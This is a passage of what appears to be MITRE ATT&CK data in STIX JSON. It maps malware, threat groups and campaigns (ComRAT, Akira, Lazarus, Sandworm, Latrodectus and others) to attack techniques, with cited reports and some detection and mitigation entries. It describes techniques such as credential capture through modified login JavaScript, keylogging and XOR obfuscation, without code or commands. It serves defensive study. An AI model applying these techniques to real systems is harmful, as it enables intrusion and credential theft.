2021)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d27ca417-0ced-4e42-b81c-fe93cfe7e1c7","created":"2022-09-30T19:07:50.636Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA ComRAT Oct 2020","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020.","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a"},{"source_name":"ESET ComRAT May 2020","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T22:00:12.135Z","description":"[ComRAT](https://attack.mitre.org/software/S0126) has embedded a XOR encrypted communications module inside the orchestrator module.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ","relationship_type":"uses","source_ref":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d2825a04-d5c4-4598-aa3d-cb72cfe74ac4","created":"2024-02-21T19:15:24.163Z","revoked":false,"external_references":[{"source_name":"Secureworks GOLD SAHARA","description":"Secureworks. (n.d.). GOLD SAHARA. Retrieved February 20, 2024.","url":"https://www.secureworks.com/research/threat-profiles/gold-sahara"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-21T19:15:24.163Z","description":"[Akira](https://attack.mitre.org/groups/G1024) uses compromised VPN accounts for initial access to victim networks.(Citation: Secureworks GOLD SAHARA)","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d2858dfa-504f-416d-8801-41a1a9561f22","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Twitter Cglyer Status Update APT3 eml","description":"Glyer, C. (2018, April 14). @cglyer Status Update. Retrieved September 12, 2024.","url":"https://x.com/cglyer/status/985311489782374400"},{"source_name":"aptsim","description":"valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.","url":"http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:39:20.542Z","description":"[APT3](https://attack.mitre.org/groups/G0022) enables the Remote Desktop Protocol for persistence.(Citation: aptsim) [APT3](https://attack.mitre.org/groups/G0022) has also interacted with compromised systems to browse and copy files through RDP sessions.(Citation: Twitter Cglyer Status Update APT3 eml)","relationship_type":"uses","source_ref":"intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d2881846-1061-4f1e-a9bf-4dfc6a7e4b41","created":"2024-03-06T18:26:48.392Z","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-06T18:26:48.392Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors modified the JavaScript loaded by the Ivanti Connect Secure login page to capture credentials entered.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d289c197-78e6-4262-9163-201ef17b6f41","created":"2024-01-22T19:30:40.603Z","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat Check Logs October 2023","description":"Dedola, G. et al. (2023, October 12). ToddyCat: Keep calm and check logs. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat-keep-calm-and-check-logs/110696/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-22T19:30:40.603Z","description":"[Pcexter](https://attack.mitre.org/software/S1102) has been distributed and executed as a DLL file named Vspmsg.dll via DLL side-loading.(Citation: Kaspersky ToddyCat Check Logs October 2023)","relationship_type":"uses","source_ref":"malware--e4feffc2-53d1-45c9-904e-adb9faca0d15","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--d295beee-439c-44f9-9908-4cb194331de9","created":"2017-05-31T21:33:27.043Z","x_mitre_version":"1.0","external_references":[{"source_name":"Alperovitch 2014","url":"https://web.archive.org/web/20200424075623/https:/www.crowdstrike.com/blog/deep-thought-chinese-targeting-national-security-think-tanks/","description":"Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014."}],"x_mitre_deprecated":false,"revoked":false,"description":"The [Deep Panda](https://attack.mitre.org/groups/G0009) group is known to utilize WMI for lateral movement.(Citation: Alperovitch 2014)","modified":"2022-07-20T20:10:29.603Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d297b77f-9511-429a-b148-d7b8f0b5b502","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Tick Apr 2016","description":"DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.","url":"https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"}],"modified":"2020-03-17T23:46:10.823Z","description":"[Daserf](https://attack.mitre.org/software/S0187) uses file and folder names related to legitimate programs in order to blend in, such as HP, Intel, Adobe, and perflogs.(Citation: Symantec Tick Apr 2016)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d29db5f7-25cb-49e3-81da-04263e32b65c","created":"2022-04-13T15:57:57.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Twitter Ida Pro Nov 2021","description":"Cherepanov, Anton. (2019, November 10). ESETresearch discovered a trojanized IDA Pro installer. Retrieved September 12, 2024.","url":"https://x.com/ESETresearch/status/1458438155149922312"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:28:53.002Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has used a scheduled task named `SRCheck` to mask the execution of a malicious .dll.(Citation: ESET Twitter Ida Pro Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d29ff57c-2821-45e9-94b5-beb62f63f8ea","created":"2022-09-26T15:34:25.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T15:39:21.651Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) has compressed collected files with zLib and encrypted them using an XOR operation with the string key from the command line or `qwerasdf` if the command line argument doesn’t contain the key. File names are obfuscated using XOR with the same key as the compressed file content.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2a8729f-6271-46a0-8a40-a8567c9e5092","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2019-03-25T14:12:13.491Z","description":"(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d2aa3c9f-0f1f-49ff-81ef-94e229f7c6e2","created":"2023-09-27T14:38:27.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Booz Allen Hamilton","description":"Booz Allen Hamilton When The Lights Went Out Retrieved. 2019/10/22 ","url":"https://www.boozallen.com/content/dam/boozallen/documents/2016/09/ukraine-report-when-the-lights-went-out.pdf"},{"source_name":"Ukraine15 - EISAC - 201603","description":"Electricity Information Sharing and Analysis Center; SANS Industrial Control Systems. (2016, March 18). Analysis of the Cyber Attack on the Ukranian Power Grid: Defense Use Case. Retrieved March 27, 2018.","url":"https://nsarchive.gwu.edu/sites/default/files/documents/3891751/SANS-and-Electricity-Information-Sharing-and.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T17:03:24.267Z","description":"During the [2015 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0028), [Sandworm Team](https://attack.mitre.org/groups/G0034) gathered account credentials via a [BlackEnergy](https://attack.mitre.org/software/S0089) keylogger plugin. (Citation: Booz Allen Hamilton)(Citation: Ukraine15 - EISAC - 201603)","relationship_type":"uses","source_ref":"campaign--46421788-b6e1-4256-b351-f8beffd1afba","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--d2aa6fd1-d530-4fbf-ada7-8b3ddb149d7e","created":"2024-09-17T19:10:15.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitsight Latrodectus June 2024","description":"Batista, J. (2024, June 17). Latrodectus, are you coming back?. Retrieved September 13, 2024.","url":"https://www.bitsight.com/blog/latrodectus-are-you-coming-back"},{"source_name":"Latrodectus APR 2024","description":"Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"},{"source_name":"Elastic Latrodectus May 2024","description":"Stepanic, D. and Bousseaden, S. (2024, May 15). Spring Cleaning with LATRODECTUS: A Potential Replacement for ICEDID. Retrieved September 13, 2024.","url":"https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-18T19:52:41.853Z","description":"[Latrodectus](https://attack.mitre.org/software/S1160) has used a pseudo random number generator (PRNG) algorithm and a rolling XOR key to obfuscate strings.(Citation: Latrodectus APR 2024)(Citation: Elastic Latrodectus May 2024)(Citation: Bitsight Latrodectus June 2024)","relationship_type":"uses","source_ref":"malware--76fde8df-3495-47c9-82eb-125c4f7fb621","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2aaef64-8ec9-41f0-b071-a3d6ca487148","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Also, monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2af3e5e-29d8-4611-b295-126d4a9a87b1","type":"relationship","created":"2021-01-08T21:25:33.548Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."},{"source_name":"Proofpoint NETWIRE December 2020","url":"https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns","description":"Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."}],"modified":"2021-01-12T18:29:41.841Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can collect the IP address of a compromised host.(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2b0a7e2-6822-4583-985c-f3c58c93ebad","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Monitor for newly constructed files written to disk to gain access to a system through a user visiting a website over the normal course of browsing.","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2b3e3e2-9b1b-4d6e-a833-73fd9cc6394c","type":"relationship","created":"2022-03-30T14:26:51.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.870Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). ","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2b70f03-3c52-4bf9-b545-7b912348f55e","type":"relationship","created":"2020-11-12T17:12:38.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."},{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-12-09T19:12:40.285Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can use a DGA for hiding C2 addresses, including use of an algorithm with a user-specific key that changes daily.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2bb226a-810d-47ea-be8d-397b9dd94031","type":"relationship","created":"2020-02-17T13:20:02.698Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-02-15T19:29:57.585Z","description":"Organizations may consider weighing the risk of storing credentials in web browsers. If web browser credential disclosure is a significant concern, technical controls, policy, and user training may be used to prevent storage of credentials in web browsers.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2bc1c1b-987b-4a1a-b488-8199f8113697","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Daserf Nov 2017","description":"Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER’s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.","url":"http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"},{"source_name":"Secureworks BRONZE BUTLER Oct 2017","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses"}],"modified":"2020-03-16T16:40:40.468Z","description":"[Daserf](https://attack.mitre.org/software/S0187) can log keystrokes.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2bc4516-c074-4d44-9931-07ab518de60a","type":"relationship","created":"2020-08-24T14:27:37.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-08-24T14:27:37.469Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) can decrypt password-protected executables.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2c3b075-5299-42e5-95de-8248dc0da551","type":"relationship","created":"2019-03-13T17:10:01.761Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."}],"modified":"2019-06-28T15:05:33.932Z","description":"(Citation: FireEye APT33 Guardrail)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"tool--cb69b20d-56d0-41ab-8440-4a4b251614d4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2cf553c-b2a3-4599-9cb8-4722eb1b1293","type":"relationship","created":"2021-06-10T14:58:56.715Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Kimsuky June 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/","description":"Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}],"modified":"2021-10-14T23:17:58.874Z","description":"[AppleSeed](https://attack.mitre.org/software/S0622) can achieve execution through users running malicious file attachments distributed via email.(Citation: Malwarebytes Kimsuky June 2021)","relationship_type":"uses","source_ref":"malware--295721d2-ee20-4fa3-ade3-37f4146b4570","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2d11e48-91f9-4ebf-82b7-c194c0bee9b5","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}],"modified":"2020-03-20T21:54:45.567Z","description":"[Gazer](https://attack.mitre.org/software/S0168) stores configuration items in alternate data streams (ADSs) if the Registry is not accessible.(Citation: ESET Gazer Aug 2017)","relationship_type":"uses","source_ref":"malware--76abb3ef-dafd-4762-97cb-a35379429db4","target_ref":"attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2d6a912-c758-4d2a-aaef-1c36ec30e1cc","type":"relationship","created":"2022-03-30T14:26:51.866Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.866Z","description":"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","source_ref":"x-mitre-data-component--45d0ff14-b9c4-41f5-8603-156657c20b75","target_ref":"attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2d8c9da-0ba9-4136-8db5-a9c03e5bc4ba","type":"relationship","created":"2022-03-30T14:26:51.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.877Z","description":"Malicious XDG autostart entries may be detected by auditing file modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2d98eeb-4ebd-4db5-adf8-2a737306b17f","type":"relationship","created":"2021-03-08T13:53:09.890Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b","description":"USG. (2020, May 12). MAR-10288834-2.v1 – North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}],"modified":"2021-03-15T17:16:08.966Z","description":"[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can randomly pick one of five hard-coded IP addresses for C2 communication; if one of the IP fails, it will wait 60 seconds and then try another IP address.(Citation: CISA MAR-10288834-2.v1 TAINTEDSCRIBE MAY 